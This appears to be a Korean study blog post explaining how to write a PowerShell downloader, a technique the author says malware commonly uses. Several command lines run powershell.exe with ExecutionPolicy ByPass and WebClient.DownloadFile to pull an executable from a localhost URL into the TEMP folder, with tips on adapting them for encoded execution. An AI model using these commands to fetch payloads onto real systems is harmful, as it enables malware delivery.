부동산, 채권, 주식, 경제흐름 자료를 모아 보는 블로그입니다.

PowerShell을 이용한 다운로더 본문

Study

PowerShell을 이용한 다운로더

runardor 2016. 8. 22. 00:36

이번장에서 확인할 내용은 PowerShell을 이용한 다운로더 입니다.



파워쉘을 이용하여 다운로드 하는방법으로 최근 악성코드에서 주로 사용하는 방법입니다.



파워쉘에서는 System.Net.WebClinet 클래스를 이용하여 파일을 업로드 할수도 다운로드 할 수 있는 기능을 제공합니다.



간단하게 사용형식을 보면 아래와 같습니다.

(New-Object System.Net.WebClient).DownloadFile( URL, Download_File_Path);


해당 명령을 수행하게 되면 URL에 있는 파일을 로컬의 PATH를 지정한 곳에 다운로드를 수행하게 됩니다.


URL을 127.0.0.1\test\PEview.exe를 %TEMP% 폴더에 다운로드 할 경우


(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/test/PEview.exe', '%TMP%test.exe');


다음과 같이 사용이 가능합니다.


이를 PowerShell 실행을 이용하여 명령을 구성할 경우 


powershell.exe -ExecutionPolicy ByPass -WindowStyle Normal (New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/test/PEview.exe', '%TEMP%\test.exe');


다음과 같이 구성을 할 수 있습니다. Powershell의 매개변수 인자에 대한 내용은 Powershell을 참고하시면됩니다.



간단하게 APMSETUP을 이용하여 웹서버를 구성하고



아래와 같이 CMD 창에 해당 명령을 실행 시



%TEMP% 폴더에 test.exe로 파일이 다운로드 됨을 확인 할 수 있습니다.



추가적으로 다운로드 코드를 짤 경우 주의해야 할 사항이 있습니다.


PowerShell은 환경변수를 사용할 경우 윈도우 환경 변수와 다른형태로 사용을 하게되는데요.,. 이를 이해하기 위해 아래의 포스팅을 참조하시면 됩니다.

http://runardor.tistory.com/17


결론적으로 위의 명령은 CMD 창에서 실행할 경우 실행되는 명령이므로 PowerShell 내부에서는 동작하지 않습니다.



Powershell 내부에서 DownloadFile 함수를 실행할때 %TEMP%라는 문자열을 인식하지 못해 매개변수 에러를 발생시킵니다.


이런 경우 env:+"FileName" 으로 FullPath를 쓸 수도 있겠지만 DownloadFile 함수가 Single Quote를 매개변수로 문자열을 받으며 + 기호등을 사용하여


문자열을 구성하려고 할 경우 Raw 문자열로 인식하는 문제등이 존재하기 때문에 환경변수를 사용하여 문자열을 구성하기 상당히 까다로운 상황이 발생합니다.



이를 피하기 위해서는 2개를 염두하고 코드를 작성해야합니다.


1. CMD에서 실행을 할때 %TEMP%의 경우 윈도우 매개변수를 사용하므로 Powershell을 실행 시킴과 동시에 인자로 윈도우 매개변수를 전달하거나.


2. CMD에서 실행하거나 PowerShell 내부에서 실행하던 상관없이 PowerShell Code로 작성하여 매개변수로 넘기는 방법이 존재합니다.



특정 프로그램을 이용하여 프로세스 생성시 Command 명령을 실행할 경우 1의 방법으로 큰 문제없이 실행 할 수 있겠지만


Encode 매개변수로 PowerShell 내부에서 실행하는 코드를 실행할 경우 반드시 2의 방법을 숙지해야 합니다.



2의 방법을 사용하기 위해서는 PowerShell의 매개변수중 -Command 명령을 이용하면 쉽게 코드를 작성 할 수 있습니다.


-Command 매개변수를 이용하면 -Command 인자 이후의 코드는 PowerShell 쉘에서 사용하는 코드로 인식을 하게 됩니다.


그러므로 PowerShell 내부에서 실행가능한 형태의 코드를 작성하여 Powershell 실행 매개변수로 넘겨주면 됩니다.


예를 들어 윈도우 CMD에서 실행시 실행하는 아래의 명령을 PowerShell 쉘코드로 변경하는 작업을 수행하면 아래와 같습니다.

(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/test/PEview.exe', '%TMP%test.exe');


고려되어야 할 사항은 아래와 같습니다.

1. %TEMP%의 경우 PowerShell에서 인식하지 못하므로 인식가능한 형태로 바꿔넣는다.

2. 다운로드할 URL을 구성한다. 이를 DownloadFile 함수의 매개변수로 넣어준다.


1,2를 고려한 코드는 아래와 같습니다.

$DownFilePath =$env:TMP+'\test.exe'; (New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/test/PEview.exe', $DownFilePath);


$DownFilePath 변수에 TEMP 폴더 + '\test.exe' 라는 문자열을 만들어 할당합니다.


이후 해당 PATH를 수행시켜 실행합니다.


위의 명령이 유효한 명령인지 PowerShell에서 실행해보시면 실행이 잘 됨을 확인하실 수 있습니다.


이후 해당 명령을 CMD에서 실행가능하도록 아래와 같이 구성해 줍니다.



powershell.exe -ExecutionPolicy ByPass -WindowStyle Normal -Command $DownFilePath =$env:TMP+'\test.exe'; (New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/test/PEview.exe', $DownFilePath);


-Command 매개변수를 반드시 주고 위에 정상적으로 동작가능한 PowerShell 명령을 주어 실행합니다.


위의 코드를 실행하면 최초 실행했던 명령과 동일하게 특정 URL에 있는 파일을 다운로드 가능합니다.



'Study' 카테고리의 다른 글

Cmdlet(Power Shell)  (0) 2016.12.21
WMI (Windows Management Instrumentation)  (0) 2016.08.22
PowerShell 에서 사용할 수 있는 환경 변수  (0) 2016.08.21
간단한 ShellCode Loader 만들기  (0) 2016.04.02
UAC( User Account Control )  (0) 2016.03.30
Comments